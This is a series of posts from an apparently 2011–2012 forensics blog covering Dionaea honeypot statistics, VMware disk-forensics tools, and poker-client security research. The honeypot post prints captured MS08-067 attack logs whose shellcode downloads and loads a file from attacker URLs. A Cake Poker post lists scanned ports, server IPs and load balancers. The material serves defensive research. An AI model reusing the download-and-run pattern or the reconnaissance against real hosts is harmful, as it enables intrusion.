Statistics on Dionaea

I have been using Dionaea for sometime now and found a nice python script from infosanity.co.uk that breaks down the stats of Dionaea’s sqlite database.  I run  dionaea off one of my external facing static IP addresses through a VM using ESXi 5.0.  Most of the malware that I get are variations of Conficker.  Here are some stats from the last 1.5 days…

Number of submissions: 18697
Number of unique samples: 182
Number of unique source IPs: 403

First sample seen: 2012-02-14 19:04:46.402556
Last sample seen: 2012-02-16 18:49:55.008578
System Uptime: 1 day, 23:45:08.606022
Average daily submissions: 18697

Most recent submissions:
2012-02-16 18:49:55.008578, 188.121.11.160, http://188.121.11.160:4214/vvpgc, 78c9042bbcefd65beaa0d40386da9f89
2012-02-16 18:49:51.557856, 186.58.161.18, http://186.58.161.18:9036/nfgowil, d45895e3980c96b077cb4ed8dc163db8
2012-02-16 18:49:49.635499, 188.121.11.160, http://188.121.11.160:4214/vvpgc, 78c9042bbcefd65beaa0d40386da9f89
2012-02-16 18:49:44.039425, 186.58.161.18, http://186.58.161.18:9036/nfgowil, d45895e3980c96b077cb4ed8dc163db8
2012-02-16 18:49:43.698489, 188.121.11.160, http://188.121.11.160:4214/vvpgc, 78c9042bbcefd65beaa0d40386da9f89

Additionally, I run another python script that queries the logsql sqlite database for attacks and prints out all related information for every attack:  This is the command I use:

./python3.2 ../scripts/readlogsqltree.py -t $(date ‘+%s’)-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite > /root/dionaea.txt

Snippet of results:

2012-02-15 18:56:31
connection 15511 smbd tcp accept x.x.x.x:445 <- 186.58.201.121:1928 (15511 None)
dcerpc bind: uuid ’4b324fc8-1670-01d3-1278-5a47bf6ee188′ (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc request: uuid ’4b324fc8-1670-01d3-1278-5a47bf6ee188′ (SRVSVC) opnum 32 (NetPathCompare (MS08-67))
dcerpc request: uuid ’4b324fc8-1670-01d3-1278-5a47bf6ee188′ (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
profile: [{'return': '0x7df20000', 'args': ['urlmon'], ‘call’: ‘LoadLibraryA’}, {‘return’: ’0′, ‘args’: ['', 'http://186.58.201.121:9036/voshvva', 'x.', '0', '0'], ‘call’: ‘URLDownloadToFile’}, {‘return’: ’0
x00000000′, ‘args’: ['x.'], ‘call’: ‘LoadLibraryA’}, {‘return’: ’0′, ‘args’: ['0'], ‘call’: ‘ExitThread’}]
offer: http://186.58.201.121:9036/voshvva
download: d45895e3980c96b077cb4ed8dc163db8 http://186.58.201.121:9036/voshvva
names

Furthermore, I was digging around and found a nice live boot cd called Mercury-DVD that comes installed for users to perform network forensics and is coupled with a bevy of tools including Dionaea.  It can be found here:  ftp://ftp.carnivore.it/projects/dionaea/mercury-dvd/

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Pokersec.org launches its new site!

Just got word from a buddy of mine that a new site called pokersec.org was just launched.  According to the site,

HHSmithy.com and SeNet have joined together to launch PokerSec.org. Online gaming has been around for over a decade enjoying growing popularity worldwide. Over this time there have been a number of security issues from misconfigurations, cheating, backdoors, and other scandals that have seriously threatened the integrity of these games.

PokerSec.org has been started by the HHSmithy team, whose founders Kader Belbina and Michael Weber have performed extensive research in online gaming security and have publicized some ground breaking security vulnerabilities in production level poker sites. HHSmithy is a leading company in performing data-mining in the online gaming arena. Data-mining requires intricate knowledge of gaming software, because of their expertise, HHSmithy is perfectly positioned to investigate the security of many different online poker sites and infrastructures.

In this endeavour, the HHSmithy team is joining efforts with SeNet to provide a unified team that is unique in the industry. SeNet has been providing security services to both our commercial and federal customers for over a decade and is the perfect partner for online gaming companies operating in the United States and worldwide.  SeNet’s Chief Technology Officer (CTO), Mr. Gus Fritschie, has performed extensive research in online gaming security and has presented at computer industry conferences, such as Defcon, on this subject.

If you are interested in their services, you can check them out here.  For contact information, email them at this address:  security@pokersec.org.

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How can VMware’s Virtual Disk Development Kit help the forensic examiner?

Wrote a quick little blog on how forensic examiner’s can utilize VMware’s VDDK 5.0 API to create their own applications for reading and triaging potentially compromised virtual machine disks.  During an examination and depending on the case, many forensic examiners do virtual reconstruction which allows them the ability to see what the “victim” or “intruder” saw during an incident.  The blog focuses on the potential that the Virtual Disk Development Kit offers during such investigations.  You can find the article at Crucial Security Forensic’s Blog:

http://crucialsecurityblog.harris.com/2012/01/18/how-can-vmwares-virtual-disk-development-kit-help-the-forensic-examiner/

 

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How to quarantine a VM using VIX and VDDK?

I was doing some research on sample code for the VDDK and ran across some cpp code from a VMware employee with the username sudarsan.  The sample code which can be found here looks very detailed and handles the following use case scenario:

  • Reads and analyzes the MBR of the primary disk
  • Reads the boot.ini from the active partition – determines and mount the boot volume
  • Copies the system hive and mounts the drives
  • ‘Scans’  the  drives to ‘find’ an infected file
  • Quarantine’s the VM by removing the network device from VMX
  • Powers On the VM and Delete the files using VIX api
  • Powers off the VM and restore back the original configuration

The code consists of the following headers:

  • CommandLineParser.h
  • CommonDatastructures.h
  • CommonMacros.h
  • DirectoryScanner.h
  • MBRReader.h
  • Registry.h
  • stdafx.h
  • VIXConnection.h
  • VixDiskLibErr.h
  • VMWareMount.h

Source files:

  • CommandLineParser.cpp – simple command line interface
  • DirectoryScanner.cpp – recursively scans the directory (that was passed via command line) for an occurrence of a file.
  • MBRReader.cpp – gets the information about partitions on the virtual disk from the MBR.
  • QuarantineVM.cpp – main calling function that does the following
  1. Once powered off, use VixDiskLib to get the MBR of the VM’s disk
  2. Once we have the MBR of the disk, interpret the MBR to get the partition details
  3. From the partition details mount the active partition. Read the boot.ini and find the boot partition.  If the active partition is not the boot partition then unmount the active partition and mount the boot partition
  4. Download the system registry from the VM’s boot partition to the current working directory and unmount the boot partition.
  5. Mount the registry hive downloaded from the VM under MyCoumputer\HKLM\VIXAndVixDiskSample
  6. Get the volume information like drive letter, disk id and partition start offset from the registry key located at MyCoumputer\HKLM\SYSTEM\MountedDevices.
  7. Find the drive letter for the partitions.
  8. Lock down the machine by removing the network.
  9. Starts the virtual machine and deletes the files.
  10. Power On the VM and delete the found occurrences of the file.
  11. Add Networks back to the VM.
  12. Shutsdown the VM to add networking support back.
  13. Compares the partition information from the Master Boot record to the volume information found in the registry.
  • Registry.cpp – loads and unloads the system registry hive at HKEY_LOCAL_MACHINE\VIXandVixDiskSample
  • stdafx.cpp – place holder.
  • VIXConnection.cpp – uses VDDK 1.0 -
  • VixDiskConnection.cpp – Connects to a ESX/VC Server.
  • VMWareMount.cpp – mounts virtual disk.

Essentially, the program is using the VMware-mount executable and VixDiskLib within the C++ program.  Instead of using the vixMntapi library within the VDDK, they just make system calls to VMware-mount that comes with existing VDDK API bundle.  The benefit here is that VMware-mount has the ability to access multiple partitions within a virtual disk (.vmdk) and search for a specified file.  I haven’t compiled the code yet but will take a closer look at it this weekend.

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VFAE (VMDK Artifact Extractor) version 1.1 beta

I re-wrote my VFAE tool over the winter break.  It now does the following:

The application allows the user to conduct a quick triage of the operating system directory structure by outputing the results to a specific output file.  Additionally, it conducts a pre and post MD5 hash value of the VMDK itself if needed.  For specific file searching  purposes, it searches for any filetype within the off-line VMDK based on a passed in argument via the command-line.   Furthermore, you can extract the files that were found in the VMDK and output their contents to the “Extracted Files” directory as well as provide the MD5 hash of each file that was extracted.

Below is a listing of how to use the tool:

1.  vfae.exe -d c:\path\to\vmdk\location.vmdk
2.  vfae.exe -d c:\path\to\vmdk\location.vmdk -md5 [gets the MD5 hash value for the VMDK selected - for verification purposes]
3.  vfae.exe -d c:\path\to\vmdk\location.vmdk -s Windows\*.exe [Parses the off-line VMDK for executable files in the mounted Windows directory]
3a. vfae.exe -d c:\path\to\vmdk\location.vmdk -s Windows\temp\*.* [Searches for any files found in the Windows\temp directory]
4.  vfae.exe -d c:\path\to\vmdk\location.vmdk -s Windows\*.exe -e [Parses the off-line VMDK for executable files in the mounted Windows directory
and extracts the files that were found copying them to the Extracted Files\ directory on your machine.  The Extracted Files directory
is created in the directory where vfae.exe was run]
5.  vfae.exe -v [gets the current version of the application]
6.  vfae.exe -h [help or usuage functionality]

Of course, for more information, you can read the README.txt file at https://sourceforge.net/projects/vfae/files/.

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unpacking upx packed binary via ollydbg

Saw a well written tutorial on manually unpacking UPX packed binaries over at securityxploded.com.  The tutorial is goes over an introduction to packing, steps for upacking UPX and then fixing the import table.

Manual Unpacking of UPX Packed Binary File

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Virtual Machine files essential to Forensic investigations

I just wanted to reference an article I used to write a blog for Crucial Security  back in May, 2011.  It was an article (Ghost in the Machine – Digital Forensics Magazine) I co-authored with Eric Fiterman of Rogue Networks, Inc in Baltimore, MD.  If you would like to hear more about Eric, check him out at http://www.methodvue.com/ and https://www.youtube.com/watch?v=G_gJOuRSOeg.

The article for Crucial can be found here:  http://crucialsecurityblog.harris.com/2011/05/23/virtual-machine-files-essential-to-forensic-investigations/.

 

 

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Cake Poker network breakdown

Below is some information I was able to dig up on Cake Poker while doing research on Poker client deconstruction:

Cake Poker:

Recent data on cake poker:

Network                                   CakePoker Network
Owner/operator                    Cake Gaming N.V. (private company)
Headquarters location         Curacao, Dutch Antilles
Game server location           Curacao, Dutch Antilles
Software provider                Cake Gaming
Uncommon games offered     None
Real money                           ring game players
24 Hour Peak:                     785
7 Day Average:                  610
Now:                                    378

playdata.co.uk

Playdata.co.uk is a domain controlled by three name servers at gandi.net. Having a total of six IP numbers. Some of them are on the same IP network. The primary name server is a.dns.gandi.net. playdata.co.uk has one IP number (200.26.205.35) , but the reverse is sub205ip35.conet.net.

Cakepokernetwork.net, cakepoker.com, cakenetwork.net, ckpnetwork.com, cakepoker.net and at least three other hosts point to the same IP.
Ports filtered or open:

80/tcp  open     http         Microsoft IIS webserver 7.5
|_ html-title:
443/tcp open     ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ sslv2: server still supports SSLv2
|_ html-title: Site doesn’t have a title (text/html; charset=utf-8).

IP Addresses associated with the Cake poker client (CakePoker.exe/Pokerclient.exe/Cakenotifier.exe):

IP Address City Country Organization
200.26.205.35 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.61 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.62 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.63 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.64 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.65 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.66 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.72 Willemstad Netherlands Antilles Antelecom N.V
200.26.205.51 Willemstad Netherlands Antilles Antelecom N.V
173.246.97.2 Baltimore MD USA
217.70.184.40 France GANDI L/B SERVICES
217.70.182.20 France GANDI INTERNATIONAL SERVICES

Host names sharing IP (update.playdata.co.uk) with A records (8)

cakenetwork.net – 200.26.205.35
cakepoker.com – 200.26.205.35
cakepoker.net – 200.26.205.35
cakepokernetwork.net – 200.26.205.35
ckpnetwork.com – 200.26.205.35
client.ckpnetwork.com – 200.26.205.35
www.cakepoker.com – 200.26.205.35
www.cakepokernetwork.net – 200.26.205.35

DNS Servers used by the Cake poker network:
a.dns.gandi.net – 173.246.97.2
b.dns.gandi.net – 217.70.184.40
c.dns.gandi.net – 217.70.182.20

contact information for playdata.co.uk
hostmaster@gandi.net (responsible for gandi.net,playdata.co.uk)
hostmaster@nominet.org.uk (responsible for co.uk)
hostmaster@nic.uk (responsible for nic.uk)
support@cyberluck.com (responsible for conet.net)

Cake network load balancers (current IP addresses as of 6/5/2011)

Lb1.playdata.co.uk – 200.26.205.61
Lb2.playdata.co.uk – 200.26.205.62
Lb3.playdata.co.uk – 200.26.205.63
Lb4.playdata.co.uk – 200.26.205.64
Lb5.playdata.co.uk – 200.26.205.65
Lb6.playdata.co.uk – 200.26.205.66
Lb7.playdata.co.uk – 200.26.205.72

Visiting the website http://update.playdata.co.uk gives you this:

AppName=CAKE Version=1.153.0 VersionDate=6/28/2011 9:54:35 PM Partner=Cake Comments=PROD FullDownloadURL=http://ckpn.cachefly.net/c1/cake/FullcakeSetup.1.153.0.exe DownloadURL=http://ckpn.cachefly.net/c1/cake/cakeSetup.1.153.0.exe ClientServiceURLS=lb2.playdata.co.uk:8048;lb3.playdata.co.uk:8048;lb4.playdata.co.uk:8048;lb5.playdata.co.uk:8048;lb6.playdata.co.uk:8048;lb7.playdata.co.uk:8048; EmbeddedWebURL=https://cakepoker.eu/client ExternalWebURL= NetworkStatusURL=http://cakepoker.eu/download/downloads/status.txt ClientSkinPackPath= HashFullDownloadURL=894c3a7d932f21504ec6fc309ccb41a61e759a24 HashDownloadURL=b40b12972a68450f996f69df26e5e68c64f6b6ca PatchTargetVersion=1.152.4 FLobbyUrls=

Upon starting the Cakepoker.exe client, two process start:

  1. Pokerclient.exe
  2. Cakenotifier.exe (child thread)

Files, Directories, registry keys created and modified upon the installation of CakeSetup:
Installation Report: CakeSetup2.0.1.3386
Generated by InCtrl5, version 1.0.0.0
Install program: C:\pokerclients\CakeSetup2.0.1.3386.exe
6/5/2011 9:52 AM

Keys added: 96

Keys deleted: 9

Values added: 376

As you can see below, it modifies the host-based firewall policy on your windows machine, nice of them to do that!

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List “C:\Program Files\Cake Poker 2.0\PokerClient.exe”

Type: REG_SZ

Data: C:\Program Files\Cake Poker 2.0\PokerClient.exe:*:Enabled:Cake Poker 2.0

Folders added: 4

—————-

c:\Documents and Settings\lg\Local Settings\Application Data\CPN
c:\Documents and Settings\lg\Local Settings\Temp\nss364F.tmp
c:\Documents and Settings\lg\Start Menu\Programs\Cake Poker 2.0
c:\Program Files\Cake Poker 2.0

Files added: 20

c:\Program Files\Cake Poker 2.0\CakeNotifier.exe
Date: 4/25/2011 8:19 PM
Size: 644,016 bytes
c:\Program Files\Cake Poker 2.0\CakePoker.exe
Date: 4/25/2011 8:19 PM
Size: 339,600 bytes

c:\Program Files\Cake Poker 2.0\PokerClient.exe
Date: 4/25/2011 8:19 PM
Size: 12,750,744 bytes

Files deleted: 5
Files changed: 22
Ini files tracked: 4

* C:\boot.ini
* c:\windows\control.ini
* c:\windows\system.ini
* c:\windows\win.ini

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Poker client forensics

During this summer, I helped in analyze a sample base of poker clients for a talk that was given at Defcon 19.  Based on a survey conducted in 2010, the Poker Players Research, a market research company determined that there were 10 million people in America who play online poker for real money.   This constituted a six billion dollar a year industry. However, many people fail to understand what access your Poker client has on your operating system.In this blog, we will look at forensic breakdown of current online poker clients and what effect they may have on us as an end user.

While the poker client is not exactly a rootkit it does exhibit similar characteristics.  The online companies argue this is for player protection against cheating.  However, in doing this there is some invasion of privacy. During a sample analysis of Cake Poker, Bodog.eu Poker, and Ultimate Bet (UB) poker clients, it was found that all three exhibited a high level of reading and writing on your hard drive throughout runtime.

For example, during runtime analysis in a virtual environment, the memory contents of the executable were dumped for the Cake Poker client (version 2.0.1.3386).  The following list of function names were discovered hard-coded within the client most likely used to protect the client against potential modification:

EnemyWindowNames()
EnemyProcessNames()
EnemyProcessHashs()
EnemyDLLNames()
EnemyURLs ()

Additionally, the Cake Poker client examines the systems for programs or services it deems unauthorized for the Cake Poker network:

• OLLYDBG
• POKEREDGE
• POKERRNG
• WINHOLDEM
• OPENHOLDEM
• WINSCRAPE
• OPENSCRAPE
• pokertracker
• pokertrackerhud
• HoldemInspector
• HoldemInspector2
• HoldemManager
• HMHud

By reviewing the list above, it is apparent that if the running operating system contained any type of kernel debuggers, poker heads up displays (HUDS), or automated poker bots this information will be send back via SSL to the gaming servers.  Examination of the Bodog.eu poker client found that all network authentication between the client and the game servers occurred over 443/TCP but once logged in and poker gaming began, encrypted communication then moved to 8148/TCP likely representing a customized encrypted network protocol being used for all game play.  Furthermore, well known modifications and behavior have been documented by other online poker clients.  Such behavior includes modification to the Windows host-based firewall policies, which allows for automatically authorizing installed poker clients.  For example, forensic monitoring the windows registry yielded the following registry addition by the Cake poker client:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List “C:\Program Files\Cake Poker 2.0\PokerClient.exe“

Other behavior observed during analysis was the scanning of the windows process table.  For example, the Cake Poker client 2.0.1.3386 reads through each of your process after approximately 10-20 minutes of idle time.  This may vary from OS environment to OS environment but during testing it was found to read through each of the process in 4096 byte chunks.  This is most likely done to allow the poker client know if the process was normally created or not with regard to parent ID comparison.  Many of the more sophisticated clients have the ability to read the body and title bar text from every window you have open.  They do this by extracting the window handles (HWND), caption, class, style and location of the windows.  Additionally, they have the ability to detect mouse movements in order to determine human vs. automated movements.  This feature usually gives the online poker company information to make the determination on whether you are a human or a poker bot.  Examination of the Windows mouse event APIs makes this possible.   Each poker client is different, however most if not all contain some form of anti-bot detection that entails monitoring Internet Caches for URL history information.  Additionally, they also have the ability to monitor table conversation for lack of table talk and longevity of sessions.

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An earthquake in Chantilly, VA?

Working at my desk on a network intrusion case and all of a sudden the room starts to shake harder and harder – it lasted about 10 seconds in all but turned out to be a 5.8 earthquake…epicenter was somewhere near lake anna in Virginia.

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Defcon 19 slides now released

Just found a page that contains all the update Defcon slides that can be download – check it out here:  http://good.net/dl/k4r3lj/DEFCON19/

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Getting F*cked on the River – Defcon 19

Worked on a defcon 19 presentation with a friend of mine – it focuses on the lack of security of the various poker websites as well as poker clients users download.  If anyone is interested, it can be downloaded here:

http://vmforensics.org/Defcon_Presentation-V11.ppt

Below is an outline of the presentation -

  1. Preflop
  2. Who We Are
  3. What is Online Poker
  4. Online Poker History
  5. Current Events
  6. Flop
  7. Past Vulnerabilities
  8. RNG
  9. SuperUser
  10. SSL
  11. Account Compromise
  12. Poker Bots
  13. Turn
  14. Poker Client=Rootkit
  15. Online Poker Architecture
  16. Web Application Vulnerabilities
  17. Authentication Vulnerabilities
  18. Attacking Supporting Infrastructure
  19. River
  20. Defenses – Application
  21. Defenses – User
  22. Next Steps in Research
  23. Conclusion
  24. Questions

You can also get a copy of the presentation from here:  http://good.net/dl/k4r3lj/DEFCON19/DEFCON-19-Fritschie-Witmer-F-On-the-River.pdf

 

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SeNet International Corporation – Forensic services

A little plug for my buddy’s company…..

SeNet Computer Forensics Services is now up and running.  They host a number of forensic-based services which can be found below:

- whether financial databases were tampered with or not;
- whether covered data was compromised in a data security breach;
- what purpose a computer was primarily used for;
- whether a user possessed or disseminated a document or documents;
- if a specific file was ever printed;
- whether a user wiped a drive or a file;
- if web-based email accounts were used;
- if intentional deletion of materials occurred;
- whether or not USB keys or other remote media were used;
- what files were copied to the USB or remote media;
- whether a system was compromised or not;
- whether computer misuse has occurre;
- was intellectual property compromised.

Please contact Mr. Gus Fritschie (gus.fritschie@senet-int.com) to learn more about SeNet’s computer forensics capabilities.

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Virtualization for incident responders – Blackhat 2011

Talked to a friend of mine who will teaching the Virtualization for incident responders course at Blackhat 2011 this year.   The class which looks to be extremely interesting will focus on addressing the forensic methodology of incidents that occur within virtual environment such as ESXi.  The course (called Virtualization for incident responders:principles and techniques for recovering evidence from virtualized systems and cloud environments) will be held from July 30-31 and August 1-2.  Below is the course outline:

  • Virtualization Overview
  • Problem Definition
  • A changing forensic methodology and approach
  • VMware Architecture and Portfolio
  • Exercise: Suspending and preserving virtual machine state
  • Exercise: Imaging and acquiring virtual partitions and LUNs
  • Exercise: Data recovery in the VMware ESXi managed environment
  • Exercise: Collecting evidence from VMware hosted products
  • Exercise: Virtual disk re-assembly and re-construction
  • Exercise: Data transfer operations and evidence removal for very large virtual disks
  • Culminating Exercise Scenario: Collecting critical evidence in an insider-threat incident

To learn more about the course, check it out HERE.  Funny twitvideo about virtualization security found here – http://www.twitvid.com/J8GOO.

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Computer Forensic Artifacts: Windows 7 Shellbags

There is a good article on reading a windows registry key called shellbags which gives you an excellent means to prove the existence of files and folders along with user knowledge.  According to the website “Shellbags can be used to answer the difficult questions of data enumeration in intrusion cases, identify the contents of long gone removable devices, and show the contents of previously mounted en  crypted volumes. Information persists for deleted folders, providing an invaluable reference for items no longer part of the file system.”  The blog post is a good read – http://computer-forensics.sans.org/blog/2011/07/05/shellbags

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Virtual Machine disk forensics with DFF

Wanted to pass on a good blog post, just saw it last night….it discusses doing virtual forensics using the digital forensics framework…According to the website,

The Digital Forensics Framework (DFF) is both a digital investigation tool and a development platform. The framework is used by system administrators, law enforcement examinors, digital forensics researchers and students, and security professionals world-wide. Written in Python and C++, it exclusively uses Open Source technologies.

Check it out at http://www.arxsys.fr/blog/post/7/

later…

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virtualization will solve security woes?

Saw an article in computerworld this morning while fighting for a table at the local sbux.  The overall premise of the article talked about how the implementation of virtualization will “solve” security problems.  Not exactly something we haven’t heard before just more of the same, just different people saying it.  According to the article, with virtualization becoming the foundation for corporate users and cloud service providers, many security vendors, including Check Point, McAfee, Trend Micro and Symantec, are adapting their products to maximize performance for the main virtualization platforms from VMware, Microsoft and Citrix.

With regard to VMware’s security services, security services are delivered to VM-based applications through a specialized “security virtual machine” capable of introspection into VMs via an agentless approach that can be supported by third-party security vendors.

The more and more we talk about virutalization with respect to security, the closer we get to talking about virtualization and forensics!  Check out the articles if your interested:

http://news.idg.no/cw/art.cfm?id=F31918BC-1A64-67EA-E4CD1FCD84EE6259

http://www.networkworld.com/news/2011/060311-virtualization-security.html

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Virtual Machine Data Recovery Using the Open VMFS Driver

Listed below is a link to the blog post I wrote for my company, Crucial Security Forensics blog.   The blog post focuses on recovering evidence encapsulated within the virtual disk files used to store virtual machine state and data via the Open Source Virtual Machine File System (VMFS) driver tool. The VMFS Java application allows the users to access offline VMFS volumes, specifically virtual machine files that may hold critical data to network intrusions, when there are only non-VMware hosts around.

Check it out:

http://crucialsecurityblog.harris.com/2011/06/08/virtual-machine-data-recovery-using-the-open-vmfs-driver/

-jd

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Virtual Machine files essential to forensic investigations

I wrote a blog for my company, Harris corporation, Crucial Security programs and was just published on the website.  The article focuses on virtual machine files that can be extracted and used for forensic investigations.  The article can be found here -> http://crucialsecurityblog.harris.com/2011/05/23/virtual-machine-files-essential-to-forensic-investigations/.

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Crucial Forensic Security blog is up – again

Crucial Security programs, the division of the Harris corporation I work for now has a security blog in place to address forensic-based research issues.

http://crucialsecurityblog.harris.com/

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